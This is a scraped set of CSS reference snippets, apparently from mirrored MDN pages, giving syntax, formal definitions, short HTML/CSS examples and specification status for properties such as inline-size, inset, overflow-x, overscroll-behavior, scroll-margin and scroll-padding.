syntax /* <length> values */ inline-size: 300px; inline-size: 25em; /* <percentage> values */ inline-size: 75%; /* keyword values */ inline-size: max-content; inline-size: min-content; inline-size: fit-content(20em); inline-size: auto; /* global values */ inline-size: inherit; inline-size: initial; inline-size: unset; if the writing mode is vertically oriented, the value of inline-size relates to the height of the element; otherwise, it relates to the width of the element.
... formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
... editor's draft initial definition ...
inset-block-end - CSS: Cascading Style Sheets
/* <length> values */ inset-block-end: 3px; inset-block-end: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-block-end: 10%; /* keyword value */ inset-block-end: auto; /* global values */ inset-block-end: inherit; inset-block-end: initial; inset-block-end: unset; syntax values the inset-block-end property takes the same values as the left property.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
... editor's draft initial definition ...
inset-block-start - CSS: Cascading Style Sheets
/* <length> values */ inset-block-start: 3px; inset-block-start: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-block-start: 10%; /* keyword value */ inset-block-start: auto; /* global values */ inset-block-start: inherit; inset-block-start: initial; inset-block-start: unset; syntax values the inset-block-start property takes the same values as the left property.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
... editor's draft initial definition ...
inset-block - CSS: Cascading Style Sheets
/* <length> values */ inset-block: 3px 10px; inset-block: 2.4em 3em; inset-block: 10px; /* value applied to start and end */ /* <percentage>s of the width or height of the containing block */ inset-block: 10% 5%; /* keyword value */ inset-block: auto; /* global values */ inset-block: inherit; inset-block: initial; inset-block: unset; constituent properties this property is a shorthand for the following css properties: inset-block-end inset-block-start syntax values the inset-block property takes the same values as the left property.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
... editor's draft initial definition ...
inset-inline - CSS: Cascading Style Sheets
/* <length> values */ inset-inline: 3px 10px; inset-inline: 2.4em 3em; inset-inline: 10px; /* value applied to start and end */ /* <percentage>s of the width or height of the containing block */ inset-inline: 10% 5%; /* keyword value */ inset-inline: auto; /* global values */ inset-inline: inherit; inset-inline: initial; inset-inline: unset; constituent properties this property is a shorthand for the following css properties: inset-inline-end inset-inline-start syntax values the inset-inline property takes the same values as the left property.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
... editor's draft initial definition ...
inset - CSS: Cascading Style Sheets
WebCSSinset
h> values */ inset: 10px; /* value applied to all edges */ inset: 4px 8px; /* top/bottom left/right */ inset: 5px 15px 10px; /* top left/right bottom */ inset: 2.4em 3em 3em 3em; /* top right bottom left */ /* <percentage>s of the width (left/right) or height (top/bottom) of the containing block */ inset: 10% 5% 5% 5%; /* keyword value */ inset: auto; /* global values */ inset: inherit; inset: initial; inset: unset; syntax values the inset property takes the same values as the left property.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div { background-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specifi...
... editor's draft initial definition ...
line-height-step - CSS: Cascading Style Sheets
formal definition initial value0applies toblock containersinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples setting step unit for line box height in the following example, the height of line box in each paragraph is rounded up to the step unit.
... :root { font-size: 12pt; --my-grid: 18pt; line-height-step: var(--my-grid); } h1 { font-size: 20pt; margin-top: calc(2 * var(--my-grid)); } the result of these rules is shown below in the following screenshot: specifications specification status comment css rhythmic sizingthe definition of 'line-height-step' in that specification.
... working draft initial definition.
margin-inline-end - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-inline-end: 10px; /* an absolute length */ margin-inline-end: 1em; /* relative to the text size */ margin-inline-end: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-end: auto; /* global values */ margin-inline-end: inherit; margin-inline-end: initial; margin-inline-end: unset; it relates to margin-block-start, margin-block-end, and margin-inline-start, which define the other margins of the element.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the defin...
... editor's draft initial definition ...
margin-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div { ...
...background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
... editor's draft initial definition ...
mask-border - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:mask-border-mode: alphamask-border-outset: 0mask-border-repeat: stretchmask-border-slice: 0mask-border-source: nonemask-border-width: autoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-border-slice: ...
...shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
... candidate recommendation initial definition ...
max-inline-size - CSS: Cascading Style Sheets
syntax /* <length> values */ max-inline-size: 300px; max-inline-size: 25em; /* <percentage> values */ max-inline-size: 75%; /* keyword values */ max-inline-size: auto; max-inline-size: max-content; max-inline-size: min-content; max-inline-size: fit-content(20em); /* global values */ max-inline-size: inherit; max-inline-size: initial; max-inline-size: unset; values the max-inline-size property takes the same values as the max-width and max-height properties.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
... editor's draft initial definition ...
min-block-size - CSS: Cascading Style Sheets
syntax /* <length> values */ min-block-size: 100px; min-block-size: 5em; /* <percentage> values */ min-block-size: 10%; /* keyword values */ min-block-size: max-content; min-block-size: min-content; min-block-size: fit-content(20em); /* global values */ min-block-size: inherit; min-block-size: initial; min-block-size: unset; if the writing mode is vertically oriented, the value of min-block-size relates to the minimum width of the element; otherwise, it relates to the minimum height of the element.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size'...
... editor's draft initial definition ...
min-inline-size - CSS: Cascading Style Sheets
syntax /* <length> values */ min-inline-size: 100px; min-inline-size: 5em; /* <percentage> values */ min-inline-size: 10%; /* keyword values */ min-inline-size: max-content; min-inline-size: min-content; min-inline-size: fit-content(20em); /* global values */ min-inline-size: inherit; min-inline-size: initial; min-inline-size: unset; if the writing mode is vertically oriented, the value of min-inline-size relates to the minimum height of the element; otherwise, it relates to the minimum width of the element.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definitio...
... editor's draft initial definition ...
offset-distance - CSS: Cascading Style Sheets
formal definition initial value0applies totransformable elementsinheritednopercentagesrefer to the total path lengthcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples using offset-distance in an animation the motion aspect in css motion path typicall...
... html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
... working draft initial definition ...
offset-rotate - CSS: Cascading Style Sheets
formal definition initial valueautoapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%...
..., 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-rotate' in that specification.
... working draft initial definition ...
offset - CSS: Cascading Style Sheets
WebCSSoffset
m 100 100 l 300 100 l 200 300 z'); offset: url(arc.svg); /* offset path with distance and/or rotation */ offset: url(circle.svg) 100px; offset: url(circle.svg) 40%; offset: url(circle.svg) 30deg; offset: url(circle.svg) 50px 20deg; /* including offset anchor */ offset: ray(45deg closest-side) / 40px 20px; offset: url(arc.svg) 2cm / 0.5cm 3cm; offset: url(arc.svg) 30deg / 50px 100px; formal definition initial valueas each of the properties of the shorthand:offset-position: autooffset-path: noneoffset-distance: 0offset-anchor: autooffset-rotate: autoapplies totransformable elementsinheritednopercentagesas each of the properties of the shorthand:offset-position: refertosizeofcontainingblockoffset-distance: refer to the total path lengthoffset-anchor: relativetowidthandheightcomputed valueas ...
... examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
... working draft initial definition ...
overflow-inline - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-inline: visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen from the list of values below.
... formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples setting inline overflow behavior html <ul> <li><code>ove...
...opqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-inline: hidden;} #div2 { overflow-inline: scroll;} #div3 { overflow-inline: visible;} #div4 { overflow-inline: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-inline' in that specification.
overflow-x - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-x: visible; overflow-x: hidden; overflow-x: clip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below.
... formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples html <ul> <li><code>overflow-x:hidden</code> — hides...
...tuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-x: hidden;} #div2 { overflow-x: scroll;} #div3 { overflow-x: visible;} #div4 { overflow-x: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-x' in that specification.
overflow-y - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-y: visible; overflow-y: hidden; overflow-y: clip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen from the list of values below.
... formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples setting overflow-y behavior html <ul> <li><code>overfl...
...div3, #div4 { border: 1px solid black; width: 250px; height: 100px; } #div1 { overflow-y: hidden; margin-bottom: 12px;} #div2 { overflow-y: scroll; margin-bottom: 12px;} #div3 { overflow-y: visible; margin-bottom: 120px;} #div4 { overflow-y: auto; margin-bottom: 120px;} result specifications specification status comment css overflow module level 3the definition of 'overflow-y' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-block: auto; /* default */ overscroll-behavior-block: contain; overscroll-behavior-block: none; /* global values */ overscroll-behavior-block: inherit; overscroll-behavior-block: initial; overscroll-behavior-block: unset; syntax the overscroll-behavior-block property is specified as a keyword chosen from the list of values below.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing block overscrolling in this demo we have two block-level boxes, one inside the other.
... yellow; background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-inline: auto; /* default */ overscroll-behavior-inline: contain; overscroll-behavior-inline: none; /* global values */ overscroll-behavior-inline: inherit; overscroll-behavior-inline: initial; overscroll-behavior-inline: unset; syntax the overscroll-behavior-inline property is specified as a keyword chosen from the list of values below.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing inline overscrolling in this demo we have two block-level boxes, one inside the other.
...: yellow; background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
overscroll-behavior-x - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-x: auto; /* default */ overscroll-behavior-x: contain; overscroll-behavior-x: none; /* global values */ overscroll-behavior-x: inherit; overscroll-behavior-x: initial; overscroll-behavior-x: unset; syntax the overscroll-behavior-x property is specified as a keyword chosen from the list of values below.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element from scrolling horizontally in our simple overscroll-behavior-x example (see source code also), we have two block-level boxes, one inside the other.
...to avoid this, you can set overscroll-behavior-x: contain on the inner box: main > div { height: 300px; width: 500px; overflow: auto; position: relative; top: 100px; left: 100px; overscroll-behavior-x: contain; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-x' in that specification.
overscroll-behavior-y - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-y: auto; /* default */ overscroll-behavior-y: contain; overscroll-behavior-y: none; /* global values */ overscroll-behavior-y: inherit; overscroll-behavior-y: initial; overscroll-behavior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-behavior-y property is specified as a keyword chosen from the list of values below.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example...
... specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-y' in that specification.
overscroll-behavior - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior: auto; /* default */ overscroll-behavior: contain; overscroll-behavior: none; /* two values */ overscroll-behavior: auto contain; /* global values */ overscroll-behavior: inherit; overscroll-behavior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ contain | none | auto ]{1,2} examples preventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box cont...
...this can be prevented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification.
paint-order - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ fill | stroke | markers ] examples reversing the paint order of stroke and fill svg <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> ...
...</svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: stroke fill; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
... candidate recommendation initial definition.
<ratio> - CSS: Cascading Style Sheets
WebCSSratio
specifications specification status comment media queries level 4the definition of '<ratio>' in that specification.
... candidate recommendation media queriesthe definition of '<ratio>' in that specification.
... recommendation initial definition.
repeating-radial-gradient() - CSS: Cascading Style Sheets
it is similar to radial-gradient() and takes the same arguments, but it repeats the color stops infinitely in all directions so as to cover its entire container, similar to repeating-linear-gradient() .
... specifications specification status comment css images module level 3the definition of 'repeating-radial-gradient()' in that specification.
... candidate recommendation initial definition.
rotate - CSS: Cascading Style Sheets
WebCSSrotate
formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typea transformcreates stacking contextyes formal syntax none | <angle> | [ x | y | z | <number>{3} ] && <angle> examples rotate an element on hover html <div> <p class="rotate">rotation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 1...
...50px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
... editor's draft initial definition.
scale - CSS: Cascading Style Sheets
WebCSSscale
formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typea transformcreates stacking contextyes formal syntax none | <number>{1,3} examples scaling an element on hover html <div> <p class="scale">scaling</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padd...
...ing: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .scale { transition: scale 1s; } div:hover .scale { scale: 2 0.7; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
... editor's draft initial definition.
scroll-margin-block-end - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-block-end: 10px; scroll-margin-block-end: 1em; /* global values */ scroll-margin-block-end: inherit; scroll-margin-block-end: initial; scroll-margin-block-end: unset; values <length> an outset from the block end edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block-start - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-block-start: 10px; scroll-margin-block-start: 1em; /* global values */ scroll-margin-block-start: inherit; scroll-margin-block-start: initial; scroll-margin-block-start: unset; values <length> an outset from the block start edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-margin-block-end scroll-margin-block-start syntax /* <length> values */ scroll-margin-block: 10px; scroll-margin-block: 1em .5em ; /* global values */ scroll-margin-block: inherit; scroll-margin-block: initial; scroll-margin-block: unset; values <length> an outset from the corresponding edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block' in that specification.
... candidate recommendation initial definition ...
scroll-margin-bottom - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-bottom: 10px; scroll-margin-bottom: 1em; /* global values */ scroll-margin-bottom: inherit; scroll-margin-bottom: initial; scroll-margin-bottom: unset; values <length> an outset from the bottom edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-margin-left - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-left: 10px; scroll-margin-left: 1em; /* global values */ scroll-margin-left: inherit; scroll-margin-left: initial; scroll-margin-left: unset; values <length> an outset from the left edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-left' in that specification.
... candidate recommendation initial definition ...
scroll-margin-right - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-right: 10px; scroll-margin-right: 1em; /* global values */ scroll-margin-right: inherit; scroll-margin-right: initial; scroll-margin-right: unset; values <length> an outset from the right edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-right' in that specification.
... candidate recommendation initial definition ...
scroll-margin-top - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-top: 10px; scroll-margin-top: 1em; /* global values */ scroll-margin-top: inherit; scroll-margin-top: initial; scroll-margin-top: unset; values <length> an outset from the top edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-top' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-end - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-block-end: auto; /* <length> values */ scroll-padding-block-end: 10px; scroll-padding-block-end: 1em; scroll-padding-block-end: 10%; /* global values */ scroll-padding-block-end: inherit; scroll-padding-block-end: initial; scroll-padding-block-end: unset; values <length-percentage> an inwards offset from the block end edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-start - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-block-start: auto; /* <length> values */ scroll-padding-block-start: 10px; scroll-padding-block-start: 1em; scroll-padding-block-start: 10%; /* global values */ scroll-padding-block-start: inherit; scroll-padding-block-start: initial; scroll-padding-block-start: unset; values <length-percentage> an inwards offset from the block start edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-padding-block-end scroll-padding-block-start syntax /* keyword values */ scroll-padding-block: auto; /* <length> values */ scroll-padding-block: 10px; scroll-padding-block: 1em .5em; scroll-padding-block: 10%; /* global values */ scroll-padding-block: inherit; scroll-padding-block: initial; scroll-padding-block: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block' in that specification.
... candidate recommendation initial definition ...
scroll-padding-bottom - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-bottom: auto; /* <length> values */ scroll-padding-bottom: 10px; scroll-padding-bottom: 1em; scroll-padding-bottom: 10%; /* global values */ scroll-padding-bottom: inherit; scroll-padding-bottom: initial; scroll-padding-bottom: unset; values <length-percentage> an inwards offset from the bottom edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-end - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-inline-end: auto; /* <length> values */ scroll-padding-inline-end: 10px; scroll-padding-inline-end: 1em; scroll-padding-inline-end: 10%; /* global values */ scroll-padding-inline-end: inherit; scroll-padding-inline-end: initial; scroll-padding-inline-end: unset; values <length-percentage> an inwards offset from the inline end edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-start - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-inline-start: auto; /* <length> values */ scroll-padding-inline-start: 10px; scroll-padding-inline-start: 1em; scroll-padding-inline-start: 10%; /* global values */ scroll-padding-inline-start: inherit; scroll-padding-inline-start: initial; scroll-padding-inline-start: unset; values <length-percentage> an inwards offset from the inline start edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline - CSS: Cascading Style Sheets
